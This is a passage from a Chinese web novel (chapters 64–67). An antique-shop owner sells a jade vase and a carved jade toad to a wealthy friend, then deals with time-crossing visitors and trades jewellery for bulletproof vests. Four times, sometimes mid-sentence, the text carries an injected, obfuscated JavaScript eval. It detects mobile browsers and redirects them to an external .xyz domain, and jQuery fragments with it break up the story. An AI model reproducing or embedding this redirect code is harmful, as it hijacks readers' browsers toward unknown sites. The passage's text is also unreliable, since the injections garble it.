“你真厉害，连怎么保养青白玉都知道，”真心实意的赞叹一句，萧妧妧眨巴眼睛望向黎行聿，“对了，为什么青白玉不能被太阳直射？除了你刚才提到的两点，是不是还有些大家不知道的保养禁忌？” 或许是和他比较熟悉，又或者他提醒的语气温和，更像是好友间的闲聊，萧妧妧没办法把他当正儿八经的客人招待。 她一边关掉屋□□灯，一边琢磨着把玉器挪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14890228|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到其他位置，一边又像个好学生似的不耻下问。 有些知识点过于细微，鉴宝博主并不会提，萧妧妧又没有经过系统性的学习，很难灵活运用知识，时刻注意玉器、木料、丝织品等等东西的保养宜忌。 担心自己错过重要知识点，萧妧妧干脆掏出自己自学用的笔记本，翻到玉石的分类，在保养的类目里写下注意事项。 萧妧妧一手抱着本子，一手拿笔，像犯错的学生，拘谨地挪到他身侧，歪着脑袋看过来，眼巴巴等他讲错题。 黎行聿忍住笑意，指了指旁边的椅子示意她坐下，而后俯身撑着桌子，另一手捏住手电在玉瓶上四处移动。 “高品质的玉石可以适当接触阳光，除此之外的大部分玉石最好是避免长时间光照。比如，青白玉遇热易膨胀，可能出现褪色、开裂等情况……” 萧妧妧听他讲解，手上动作不停，很快写了半页纸。 “错了，”黎行聿指尖点了点笔记上的某一行，“是金丝玉。” 萧妧妧动作一顿，突然有一种高中时被学霸补课的窘迫感。 她晃晃脑袋，哦了一声，行末划上句号，笔尖挪到上面改正错误。 等黎行聿浏览一遍笔记，没再说什么，萧妧妧悄悄松了一口气。 “黎行聿，你大学学得真不是珠宝玉石吗？”她半好奇半打趣的说。 黎行聿摇头：“家里人喜欢收藏……” “……耳濡目染？”萧妧妧了然地接下后半句话。 黎行聿浅笑点头。 萧妧妧再次感叹：“那你可真厉害，这么多知识点，记得比科普的知识类博主都清楚。” 黎行聿又讲解了几条青白玉的保养禁忌，算是常识类，萧妧妧听着听着觉得有点耳熟，忽然记起自己看视频学习时有听到过。 遗憾的是，她很快忘在了脑后，不像黎行聿，不仅知道的一清二楚，甚至能说出个一二三并运用起来。 黎行聿不紧不慢的说：“没你说得那么厉害，多犯几次错也就记住了。” 萧妧妧想说别开玩笑，这玩意犯一次错就够赔的了，可想到黎行聿是霸总他哥，大霸总，沉默了。 “包起来吧，晚一点会有人过来取。” 讲解完知识点，黎行聿也完成了玉瓶的品鉴，搁下手电筒的同时，留下了不破斋开店以来真正意义上的第一单。 萧妧妧愣住了，仰头看他，加重语气向他确认，“你是说，要买它？” 他甚至没关心一句价格，回想起来，黎行聿买棒棒糖都比买古董要仔细。 做这一行的有一句话，三年不开张，开张吃三年，萧妧妧开业前已经卖出去几件，加上送去拍卖行的几样东西托底，成交量说出去只怕没人信。 她以为是一时运气好，正式开业后恐怕要遇冷。 想到这里，腰腿酸疼的萧妧妧索性选择偷懒，先给寄卖的商品贴了标价，其他大部分物件暂时搁置。 反正有系统在，等客人感兴趣临时估价也不迟。 哪知道开业当天就迎来了大客户，不仅没问价格，下单还格外爽快，给她搞不会了。 黎行聿回望她眼睛：“对，买它。” 萧妧妧喜上眉梢，巴不得有人下单呢。 “新店开业有九折优惠，看在咱们是朋友的份上，再给你九折……承惠530万。” 安排估价系统扫描，她在计算器上按出价格，噼里啪啦一通，推给他看。 黎行聿扫了一眼，没什么特别反应，很快挪开目光，环顾店铺其他角落。 “不着急，我……” 说话间，黎行聿的余光瞥到桌子正中间的一套茶壶，话音不由停顿。 65. 第 65 章 萧妧妧偏头，顺着他的视线，注意力转移到桌子正中间。 “黎行聿，你的眼光是真好啊。”萧妧妧半是叹息半是感慨的说。 不是她奉承顾客，恰恰是黎行聿看中的这套茶壶，正是苏娇娇送来的紫砂壶套组。 萧妧妧敢摸着良心说，紫砂壶绝对能算不破斋的镇店之宝，货真价实的古董。 黎行聿的眼睛就像是扫描仪，一进门便看中了价格不菲的青白玉瓶，紧跟着又看上了什么舟的紫砂壶。 “是顾景舟，这是顾老早期的仿古之作。”黎行聿补充她含糊带过的内容。 萧妧妧眨了眨眼，半侧过身，偷摸掏出手机搜索顾景舟的资料。 “哇……是年少成名的紫砂名手呢。” 上回查到一半让系统打断，之后因为各种琐事，这事也就被她抛到脑后，没想到今天居然这么凑巧，从黎行聿嘴里得知它的由来。 萧妧妧眼珠子一转，提起茶壶斟满一杯茶水，双手捧起，客客气气递给面前的活财神。 “黎老师请喝茶。” 开门营业前，萧妧妧特意把最贵的紫砂壶拿出来摆上桌。 说好听点是斟茶招待客人，实际上不过是她想在众人面前显摆一番，给自己的店铺增添些许光彩，识货的人必定对不破斋刮目相看。 黎行聿轻笑一声，说一句谢谢，接过茶杯缓缓送到唇边。 “……不是什么好茶叶，只是我平时爱喝的果茶，你将就一下尝尝味吧，嘿嘿。” 他抿了一口茶水后，垂眸去看茶杯，眼神有一丝不解，用龙傲天的话来说，黎行聿的表情可以形容为：可惜了这么好的茶壶，没能配一壶好茶。 萧妧妧尴尬地挠了挠头，红着脸向他解释。 “不会，很好喝。”黎行聿喝尽杯中果茶，转动茶杯端详它，“这件是非卖品？” 萧妧妧迟疑了一下，随后点头：“不出意外，它会出现在拍卖行。” 手里三把紫砂壶，朱可心的套组紫砂壶她想自己留下收藏。 至于其他两件，她想着过段时间送去拍卖行，比店里出售速度快不说，价格肯定会比系统估价高出一截。 佳博是黎家的产业，萧妧妧想了想，没有隐瞒对方的必要，如实地将自己的想法和盘托出。 黎行聿露出淡淡的笑容，肯定她的做法，“拍卖行是个不错的选择。” 得到认同，萧妧妧心里一喜。 “小萧老板，我来拿古墨了。” 人未到，声先至，中气十足的话音突然响起，打断了萧妧妧要说的话。 黎行聿见状，体贴地做了个手势，示意她先招待客人，不必顾忌他。 萧妧妧略带歉意地朝黎行聿微微一笑，感谢他的理解，转身快步走向院子迎接新客人。 严格说来，这位访客也不能算新，是早早约定好上门的文字博物馆的教授，韩叔。 随着高跟鞋笃笃笃敲击青石板，风格迥异的一对父女迈入院中。 萧妧妧面带微笑，一边热情接待，一边打量韩叔的女儿。 三十多岁的年纪，穿着一身利落套装，齐肩短发顺滑亮丽，配着精致妆容十分好看。 只这一面，一直存在于萧妧妧脑海里，干练精明女领导的模糊形象，瞬间变得清晰。 “这位是古董铺的老板，萧女士，上回跟你说捐了《古文释读》的好心人，正是她。”韩叔这时又转过来，笑呵呵对萧妧妧介绍，“这是我女儿韩祺，刚出差回来陪我看看东西。” 幸好萧妧妧为了店铺开业撑门面，换上一身藕色的新中式套装，配合素净的妆容，看起来没那么跳脱，很有几分古董铺老板的架势，不至于在客人面前失态失仪。 她上前轻轻握住韩小姐伸来的手，礼貌地寒暄几句后请人进屋。 趁着他们打量店铺的工夫，萧妧妧绕到柜台后，拉开抽屉，小心翼翼捧出礼盒。 似乎没想到这一大早的，古董铺子会有别的客人，他们进店后诧异了一瞬，赶紧压低交谈声音。 “乖乖你看嘛，这可是好墨，跟我以前买的那些完全不一样。”韩叔捧起古墨，凑到女儿眼前，兴致勃勃讲解哪里不一样。 韩祺这才从黎行聿身上收回目光，压下似曾相识的熟悉感，去听老父亲叭叭叭。 萧妧妧看他们讨论的入神，不好打搅，便找来尺寸合适的礼盒给玉瓶打包。 “原来小萧老板还藏了这么好的东西。” 黎行聿这时走来，在她身侧站定。 听到他略带调侃意味的话，萧妧妧先是抬头看他，再顺着他的目光，看到了捧着古墨嘀嘀咕咕的父女俩。 萧妧妧一副“你可别冤枉我”的神情，“你要是喜欢古墨，我可以帮你留意。” 黎行聿摇摇头，转而指向柜台的饰品区域。 “古墨不必了，家里有不少，这件玉雕金蟾有点意思，帮我包起来吧。” 纤尘不染的玻璃柜台铺了一层黑色绒布，绒布上铺了大小几十个手串、发簪等饰品，熠熠生辉。 黎行聿看中的那件玉雕金蟾摆在其中很不起眼，不是他指尖点在那里提示，萧妧妧一时半会想不起来店里有这么个小玩意。 不是说东西不好的不起眼，而是它太过小巧，只有萧妧妧一半掌心那么大。 放在其他地方容易忽视，万一摔了碰了太可惜，索性和饰品放在一起。 她戴上手套，拉开玻璃门捏起玉雕金蟾送到黎行聿手里。 “要不……你再仔细考虑考虑？” 下单太果断了，萧妧妧自己都有点怕，劝他三思。 黎行聿：“没什么可考虑的，含钱的玉雕金蝉寓意不错，自己留着玩或者送人都合适。 你看，这就是刚才提到的黄翡翠，是翡翠里颜色比较特别的品种，设计师根据玉料本身的纹路设计了蟾蜍的造型，是不是有一点可爱？” 蟾蜍两只眼睛的部位色泽深一些，除此之外，雕件其余地方呈现出来的颜色是非常统一的鸡油黄，灯光一照，莹润透亮，是种水很不错的天然翡翠，黄翡中价值最高的那种。 听他这么一解说，再看胖嘟嘟的玉雕蟾，萧妧妧也不嫌弃它身上疙疙瘩瘩的凸起难看了，连深色的眼睛都变成了点睛之笔。 黎行聿说得没错，设计玉雕金蝉的匠人着实不简单，其雕刻技艺堪称精湛，审美水平更是一流。 萧妧妧佩服的不行，黎行聿的眼睛是真厉害，能在一堆乱七八糟的便宜货手串里留意到它。 等萧妧妧用系统扫描估价后，她承认，之前确实是她有眼不识金镶玉。 488万！她是怎么敢把它放在价值一两万的手串里的？ 萧妧妧震惊的同时暗暗发誓，等客人走了以后必须把整个店铺全部用系统扫一遍。 “黎总。” 正在这时，眼熟但不知道怎么称呼的秘书先生捧着什么东西进来，他目不斜视，径直走到黎行聿身边，递上东西。 黎行聿接过支票本，撕下一张支票，目光直直地望向萧妧妧。 萧妧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894823|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妧福至心灵，当即意会，噼噼啪啪在计算器上按来按去。 “两件一共九百六十九万。” 萧妧妧努力让自己保持镇定自若的神情，面带微笑地开口。 969万是打了九折之后又抹去零头的价格，将近一千万的进账，不怪她沉不住气。 相比之下，黎行聿这个花钱的人淡定许多，听闻价格时，连眼睛都未眨动一下。 他面不改色地拿起签字笔，写下一串数字，签上名字。 “东西打包完交给他就好。”黎行聿推来支票。 一旁的秘书先生礼貌地向萧妧妧颔首，客气送来他的名片。 萧妧妧手忙脚乱，接下支票又赶紧接过名片。 “原来您姓刘呀，”萧妧妧扬起灿烂笑容，“刘先生稍等一会。” 话音未落，她回到柜台后面，找来小一点的礼盒，犹豫一会，又多拿出一个小盒子。 韩祺自从看到后进店的西装男人，熟悉感越发浓，眉头蹙起，回想到底在哪见过他们。 韩教授没能留意到自家女儿的心不在焉，拿着放大镜一寸一寸的看，四块大圆饼摆在一起差点看不过来。 铺子另一边，萧妧妧忙得不可开交，根本没能注意到韩祺审视的目光。 她把玉雕金蟾仔细包裹起来，动作轻柔而娴熟，收据一同放置其中，连带着玉瓶一起交接给秘书刘先生。 完成这些之后，萧妧妧抬起头来，“黎行聿，你喜欢哪一个？” 消费九百多万，萧妧妧为感谢他的支持，决定送他一个手串。 当然，不是那种一万两万的，黎行聿好意思收，她还嫌弃寒酸，不好意思送呢。 琢磨片刻，她拿出了自己私藏的两串颇具特色的手串——单圈象牙手串和单圈玳瑁手串。 主要是除了这俩手串，萧妧妧一时之间也难以找到更为合适的赠品。 其他的那些手串要么过于精致小巧、显得过于秀气，不太符合男性佩戴者的气质；要么就是品质稍逊一筹或者风格与黎行聿不太相符。 象牙和玳瑁制成的手串不一样，它们本身是难得一见的珍稀材料所制，用来送人绝对不会让人觉得失礼或者掉价。 再者说，它们的价格恰到好处，都在三十多万上下，当做搭头挺合适的。 黎行聿没有推辞，坦然在她左右两只手里来回游移，不过几秒工夫，目光定在气质更加硬朗一点的玳瑁手串上。 萧妧妧见他有了决断，接话道：“我帮你包起来。” 黎行聿制止了她，轻声说：“不用，我自己戴上就好。” 他从萧妧妧手里拿起玳瑁手串，套在戴了腕表的那只手上。 萧妧妧的视线不由自主地跟随着他的动作移动。 她看了看时尚的机械腕表，又看了看古朴大方的手串，令人惊讶的是，这两种截然不同风格的配饰搭配在一起，意外的和谐。 特别是斑斓的玳瑁，佩戴在黎行聿的手上相得益彰，仿佛为他量身定制一般，衬托出他的气质。 黎行聿敏锐地捕捉到了萧妧妧眼中流露出的欣赏之意。 他嘴角微微上扬，反问：“什么气质？” 什么气质，当然是矜贵典雅又有点威严的气质。 这种气质使得黎行聿无论身处何地，都能成为众人瞩目的焦点，难以忽视。 话到嘴边突然卡住，萧妧妧越想越觉得，这么直白地说出来，太像刻意的奉承拍马之词。 “霸总的气质。”她以玩笑的口吻回应。 66. 第 66 章 黎行聿失笑，摇摇头，想到什么，掏出手机。 “上次见你对古董收藏展感兴趣，正好，主办展览的收藏家和佳博有过合作，给了我两张邀请函。” 随着他话音落下，黎行聿一左一右的两人同时愣住。 萧妧妧是没反应过来，对他突然转换话题感到莫名，而旁边的刘秘书愣了两秒后，露出诧异神情。 他偷摸望向顶头上司，又不着痕迹地打量古董铺老板，眼底的惊诧很快被八卦的光芒取代。 “叮咚” 手机提示音响起，屏幕上弹出横幅，她点开详情，发现是黎行聿发来的消息。 萧妧妧纳闷看他一眼，黎行聿却什么都没说，示意她点进去看一遍再聊。 神神秘秘的样子，萧妧妧以为是有什么话不方便讲，点开一看才知道，他发来的是一封电子邀请函。 “这……是那个什么树先生的个人收藏展览？” 相同的海报和展览主题，萧妧妧马上回想起来，是昨天她无意间看到的展览宣传。 黎行聿点头，“是他，感兴趣可以去参观一下。” 萧妧妧得到他的确认，点开链接，电子邀请函缓缓展开，展览主题跃然而出，展览时间紧随其后露出。 “谢谢你啊黎行聿，我会去看的。” 大致扫一遍展览信息以及展品类目，萧妧妧确实感兴趣，一口应下。 萧妧妧只去过博物馆，每回都是囫囵吞枣的转一圈，更不会主动去看什么艺术展收藏展。 昨天意外看到展览宣传海报，萧妧妧心血来潮，好奇其他收藏家们都喜欢收集些什么样的东西。 黎行聿观察得真仔细，她只是多看了海报几眼，就被他发现了。 “不客气，记得填写预约时间。”黎行聿神情温和的提醒。 萧妧妧唉了一声，赶紧在邀请函里填写姓名和参观场次。 看起来是限制人数的，每个场次限定50人，难怪要展出半个月。 三两下提交预约信息，萧妧妧收起手机，忙着要给他斟茶，黎行聿阻止了她。 “不必了，公司还有事。” 萧妧妧见状，放下茶壶送他们出门。 ………… “小萧老板，刚才那个人……是黎明的黎总？” 刚进店铺，萧妧妧抬头看到等在门边的韩祺。 她神情有几分意外，似乎是没想到会在这么一间新开业的小铺子里见到对方。 萧妧妧有一瞬的惊讶，黎行聿是明星不成，怎么买个东西都有人认识他。 考虑到大客户的隐私问题，萧妧妧含糊回答：“他确实姓黎，但是不是你说的什么黎明黎总，我不确定。” 也不算她骗人，霸总产业多，她只知道一个佳博拍卖行，什么黎明深夜的，她一无所知。 韩祺听完她语焉不详的回答，若有所思，姓氏是相符的，面容也对上了，还有刘秘书，可以确定她并没有认错人。 在此之前，韩祺只跟着合伙人远远见过黎行聿几面，每一次都是西装革履，不苟言笑的样子，无论去哪身边永远簇拥着一群人。 今天这身装扮与以往大相径庭，细碎的短发随意地垂落在额前，看上去年轻了好几岁，说话时笑意浅淡，凌厉气势尽数收敛，多了几分含蓄和松弛，完全是另一种气质。 猛地见到全新形象和姿态的黎行聿，韩祺一时之间不敢辨认，要不是刘秘书及时出现，恐怕真的要错过。 “谢谢你，那套古墨麻烦你包起来，等会我来刷卡。” 韩祺温声丢下这么一句，略显激动地转身到门边，拨通电话。 萧妧妧不解地挠挠头，绕回柜台后面拿包装盒。 韩叔是真喜欢这套墨，甚至舍不得别人触碰，亲自动手打包，虽然手忙脚乱，但全程笑呵呵。 韩祺的性格和她的形象非常相符，确认价格没错后，直接刷卡。 萧妧妧笑吟吟的送走父女两人，回到店里后心情舒畅。 160万到账，再有969万的支票，不破斋开业第一天，营收达到千万！ 别说现在关门，就是一个月不开门，也不影响什么。 萧妧妧看着手里两张支票，琢磨哪天提出来比较合适。 一张是博物馆的悬赏金，到现在还没抽出空去提钱，正好和黎行聿这张支票属于同一家银行。 “赚钱像喝水一样简单。” 不管是支票支付还是现金支付，加上存款，她现在拥有的可流动资金已经有1300万之多。 看一眼满当当等着出售的古董们，再看一眼账户余额，萧妧妧心满意足，嘴角笑得酸疼。 眼看着时间不早，磨蹭磨蹭能吃午饭了，萧妧妧赶紧把“金枝玉叶”搬出来放进空出来的玻璃展柜中。 照这速度卖下去，她得多想想办法“走私”点好东西，店里没有镇店之宝怎么行。 胡思乱想一阵，萧妧妧嘿嘿笑，没一会，她好像听到小卖部有动静，笑声戛然而止。 守在不破斋半天，她差点把小卖部给忘了。 估计一时半会不会来新客，萧妧妧索性锁了古董铺的门，快步回到小卖部。 越走越近，抽噎不止的哭泣声越来越清晰。 萧妧妧想不到会是谁，又听她哭得伤心，不由得加快步伐，一路小跑着冲进店里。 一跳过门槛，她一眼瞧见了蹲在墙角处的那一坨华丽衣裙，萧妧妧立刻猜出来者何人。 “你不是公主吗？谁敢欺负你？” 萧妧妧找来湿巾纸巾，抱到圆桌上，再回到柳如烟身边，拉住她胳膊将其扶起。 柳如烟正哭得梨花带雨，眼眸早已被泪水淹没，眼眶四周红彤彤的一片，泪珠大颗大颗顺着脸颊滚落，精心装扮过的娇俏脸蛋狼狈极了。 “本宫、本宫……哇！”说到一半，她哇的一声哭出来，哭声响彻整个店铺。 萧妧妧却没憋住，噗一声笑出来。 这个时候发笑不太妥当，但……柳如烟哭起来有点可爱。 听到笑声，柳如烟抬起头狠狠地瞪了萧妧妧一眼，一边用帕子擦拭鼻涕，一边哽咽着说道： “人家都已经哭得这么伤心难过了，你居然还嘲笑我。” 由于哭得太过厉害，她说话断断续续，半天才说完一整句。 “那你先说说出了什么事，我好帮你啊。” 想想那本书的剧情，萧妧妧都不用动脑子，多半是为了男主。 “是陈松！他背着我和别的女人勾勾搭搭！”柳如烟越想越委屈，放声大哭：“他为了一个教坊司的舞女与我横眉冷对……亏我这几日努力练舞……我讨厌他！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14903863|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧妧妧听她一顿指控，无奈耸肩。 看吧，果然没猜错。 萧妧妧一向劝分不劝和，可是她和柳如烟的关系没到能推心置腹的程度，有些话不能说。 见她确实伤心气恼，萧妧妧欲言又止好一会，眼珠子一转，从抽屉里拿出平板。 “在我们这里，为男人哭传出去是要被人看不起的，你堂堂一个公主，既然不满意他的所作所为，那就换一个好了，一个要是不够，就换十个，让他们逗你哄你。” 萧妧妧帮忙激活系统，又下载了几个视频APP，登录自己的账号，在一众男菩萨中挑选了相对保守一点的男模走秀视频。 “这才是你该看的东西。” 平板推到柳如烟面前，动感富有节奏的音乐咚咚咚响。 柳如烟顾不上伤心了，抽抽两下，注意力便完全放在平板上。 没过一会，她彻底没了哭的念头，手帕擦干净泪珠，捧起平板聚精会神。 “萧老板，他们怎么都是黄毛？你快看，这个人好黑啊……” “萧老板，他们为什么只走路啊，还走得那么快？” 柳如烟的问题太多了，萧妧妧时不时要分神解答。 “放远点，小心近视。” 等柳如烟知道什么是时装秀，最后提醒她一遍，萧妧妧便放任她自己刷视频。 十六七的小孩子，情绪来得快去得也快，萧妧妧才保养完两个鎏金香炉，准备晚些时候放到后面店铺里，柳如烟已经完全变了样。 她一手捧着脸，杏眸闪烁着炽热的光芒，视线紧紧地锁定在屏幕上，一根手指在上面乱拨，一会暂停一会快进，一会又倒退重播。 “萧老板，他们怎么都不穿衣服！” 萧妧妧抽空扭头瞅她一眼，柳如烟不知道看到了什么惊世骇俗的内容，两手撑开交叠，挡在自己眼前。 从手指缝隙间，可以明显看出她内心充满了好奇，却又是一副既想看不太敢看的羞窘模样。 按捺不住心中的疑惑，萧妧妧踮起脚瞄一眼，原来是自动播放推送视频，现在播放的是男泳装时装秀。 泳装嘛，懂的都懂，总共没几块布料，还大都紧贴皮肤，将男模们完美的身材轮廓展现得淋漓尽致、一览无余。 “这是泳装，当然不用穿那么多。哎，也是让你吃上细糠了，以前大数据可从不给我推这些。”萧妧妧羡慕的直叹气。 柳如烟听她打趣的言语，俏脸顿时如熟透的苹果一般，她跺跺脚，哼了一声。 “向上滑动切换视频，向右滑退出播放，如果喜欢，评论区留个字符，告诉大数据继续给你推。” 萧妧妧教她怎么操作，交代完这些，抱起捧起香炉去后院。 多宝架重新填满，琳琅满目的物品看着就舒心，萧妧妧静静地欣赏片刻，没等她拍照修图发上网，小卖部再次传来动静。 “这孩子又闹什么呢……” 萧妧妧嘀咕一声，赶紧发送照片，然后往小卖部跑。 “你快说，萧老板去哪了？” “你这人真无礼，本宫怎么会知道她去哪了……哎呀，你快走开，身上臭烘烘的，薰着本宫了。” 还没进门，只听里面的争执，萧萧妧妧瞬间明白了大半。 申明月来了，两个小学鸡不知道为了什么吵起来了。 67. 第 67 章 “好端端的怎么吵起来了？” 柳如烟这会心情不好，申明月也不是软弱的性子，萧妧妧生怕她们吵着吵着动起手，飞快挤到两人中间劝架。 申明月看到萧妧妧出现，神情松懈下来，她隐晦地朝柳如烟翻了个白眼，转过头自顾自与萧妧妧搭话。 “萧老板，我来给你送东西。” “嘁，依本宫看，你就是来找架吵的。”柳如烟回了一个白眼，撇撇嘴，阴阳怪气的插话。 申明月深吸气，想反驳，转头注意到她满脸泪痕，到底没说什么，哼了一声不肯搭理她。 她一进店就看到柳如烟抱着萧老板的东西，喊了两声没听到萧妧妧回应，柳如烟这时候顶着一张哭花的脸，语气不善的抱怨她太大声吵着人了，申明月以为她欺负萧妧妧，一时没忍住与她拌嘴。 萧妧妧急忙转移话题：“你怎么穿这么一身过来？要打仗了？” 她抽出几张湿巾塞给申明月，示意她擦擦脸上身上的脏污。 申明月穿着厚重的布甲，柔顺长发高高束起，精致的脸庞脂粉未施，依稀可见几道蹭上去的血痕。 她身后背着一张弓，胯间挂了牛皮小包，里面有几十支玻纤箭。 再低头一看，袍脚处浸染了大片血迹，鞋面上有深色痕迹，血腥气浓厚，显然是刚经历了一场激烈的厮杀。 申明月瞪了柳如烟一眼，按捺情绪，回应道：“快了，听大宇的斥候说，大部队最迟下月抵达，不过我们抓了斥候，消息传不回去，恐怕要生变。 这不，族长舅舅同意我带部曲去附近山林剿匪，算是临阵磨枪吧。” 说起带兵剿匪，申明月眼冒精光，闪烁着兴奋与自信的光芒，整个人意气风发。 “嘿嘿，也不全是为了磨枪，申家族人多，心不够齐，这一时半会的愁不到银子发饷银，没银子，谁肯卖命？母亲说，我纵使再有银子，不该这时候拿出来，于是只能借着剿匪的由头，顺道弄些银两回来。” 申明月：“萧老板你是没看到，那些山匪可真不简单，个个富得流油，平日里肯定没少做那些伤天害理、缺德带冒烟的坏事。” 萧妧妧瞥一眼她眼底的青黑，好笑的问：“瞧你这样子，这是磨了多少个贼窝啊？” 她这里才过去一晚上，申明月那里却是过去了好些天，经历了不少事，气质都变得凌厉许多。 申明月挠挠头，语气谦虚：“哎呀，没几个，解决他们小菜一碟，容易得很。” 话虽如此说着，脸上不经意间流露出来的得意神情将她出卖。 “萧老板的玻纤箭真好用，轻巧不说，数量还多，这几次剿匪总共耗去一万支，听下头人说，不少箭捡回来还能反复用。” 申明月一个劲地夸赞玻纤箭，手上动作却是一刻未停，湿巾按在脸上胡乱抹了几下，也不管有没有擦干净，湿巾往垃圾桶一丢，急吼吼回柜台附近抱来两个匣子。 “底下人送来的东西，我瞧着很适合萧老板，”申明月打开木匣，推给萧妧妧，“这些是我送给萧老板的。” 萧妧妧闻言，微微向前倾身，凑近去看，柳如烟竖着耳朵听了一会，心中好奇，撑着桌子屈膝站起，脑袋伸得直直的，想看看是什么好东西。 正方形的木匣，长宽约有二十多厘米，表面镶嵌了螺钿，打磨得平整光滑。 而古朴的木匣里，摆放着一串金托翡翠的项链。 链子部分由金灿灿的金子掐成花朵，一朵勾着一朵，共十八朵。 在这十八朵金花中，花心是翠绿欲滴的翡翠珠子，至于项链正中间，则是沉甸甸垂下来的挂坠。 一眼看过去，最先入眼的必定是拇指盖那么大的翠绿蛋面主石，蛋面周围那一圈圈华丽繁复的金花边，像星星一般簇拥着它。 一面是耀眼的金，一面是柔亮的绿，点点金光包裹着碧绿如水，交织出奢华高调的氛围，尤其细节之处，尽显巧思，瞬间吸引了在场所有人的目光。 “这么贵重……送给我？” 萧妧妧呆呆的欣赏了片刻，如梦初醒般挪开眼，不可置信地指着自己。 申明月重重点头，语气诚恳：“萧老板帮助我良多，小小礼物以表心意不是应该的吗？我手上虽然没多少金子，但是好东西不少，萧老板你别嫌弃它。” 贼窝里抢来的战利品，一见到它，申明月便立刻想到了萧妧妧。 反正拿回去也是塞库房，一时半会换不成金银，不如给萧老板，她肯定喜欢。 之前就几次听她说起，要搞些翡翠玉石什么的，申明月抢来的玛瑙玉髓等赔款在这里不值钱，她便歇下心思，用萧妧妧最爱的金子交易。 这一次剿匪，她搜罗到不少好东西，回头等下面人全部收拾齐整登记造册，不管是送给萧妧妧还是找萧妧妧兑换成金子，都很合算。 萧妧妧拨浪鼓似的摇头，哪敢嫌弃啊，刚才用估价功能一扫，这一条项链竟然价值280万。 和那些动辄千万过亿的极品玉石比，280万实在不算什么，但放眼当下，能过百万的翡翠玉石，真不能说差。 想想青白玉瓶，有她小臂那么高，还有雕工加持，也就比这条项链贵了一倍。 “水头不错，可惜小了些。” 柳如烟不知道什么时候凑过来，正双手抱在胸前，贱兮兮的发表己见。 申明月瞪她一眼，微微侧身，拒绝柳如烟靠近。 柳如烟哼哼两声，扭身回到桌边。 “萧老板你看，这件也是送给你的。” 放下方形匣子，申明月又捧来一个稍长的匣子打开。 萧妧妧一边惊讶的说“还有啊”，一边凑过去看。 这次是翡翠珠串，颜色稍显深沉，肉眼看偏菠菜绿，灯光下格外剔透看不到多少黑点，是高货。 说回珠串，共有六十六颗珠子，每颗珠子大小相同，直径估摸有15mm，甚至更大。 长度不明，但绕在手腕上三圈嫌紧，两圈又太松，适合挂脖子上。 比起前面那条金灿灿的项链，翡翠珠串则含蓄了不少，直到萧妧妧看到估价，她决定收回前面半句。 130万的珠串哪里含蓄了？平均下来，一颗珠子值两万！ “谢谢你明月，这两件我都很喜欢，它们太漂亮了。” 萧妧妧的嘴角快要笑烂了，这么名贵的珠宝，也是让她戴上了。 申明月见她没推拒，爽快收下，便知道这两件东西没送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909106|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错。 她欢欢喜喜地合上匣子，小心翼翼放在柜台上。 柳如烟嘀咕道：“真是没眼光，这都算好东西……” 她看向申明月，脸上笑意盈盈，很高兴自己的礼物得到对方的欣赏。 再看向萧妧妧一副不值钱的样子，好像第一次收到礼物似的。 柳如烟眼珠子一转，趁她们没注意，溜回寝宫。 萧妧妧：“你等等，我正好有东西给你。” 她从墙角的快递堆里扒拉一通，很快找到目标，划开包裹，抽出其中一件背心似的物品，在申明月面前抖了抖。 “它叫防弹背心，你要上战场打打杀杀，受伤在所难免，有防弹衣护着点，多少要好些。礼尚往来，这件是我送给你的礼物。” 下单的时候太困了，她懒得做功课，软硬两种质地防弹衣各买了两件，复合式的防弹衣看起来更实用，买了十件，一大早就有快递小哥送上门。 考虑到申明月那个年代多用冷兵器，硬质防弹衣最合适，但缺点明显，它不够轻便，这么一来，复合式防弹衣是最佳选择。 “怎么说呢，它的作用有点类似你们古代的金丝软猬甲，刀枪不入。” 随着她的介绍，申明月的丹凤眼越瞪越圆，眼底晶晶亮，她满脸惊喜地捧过防弹衣，爱不释手的抚摸它。 “我曾听闻过金丝软猬甲的威名，这防弹衣当真会比软猬甲还要厉害吗？” 出于谨慎，申明月还是忍不住开口提出了疑问。 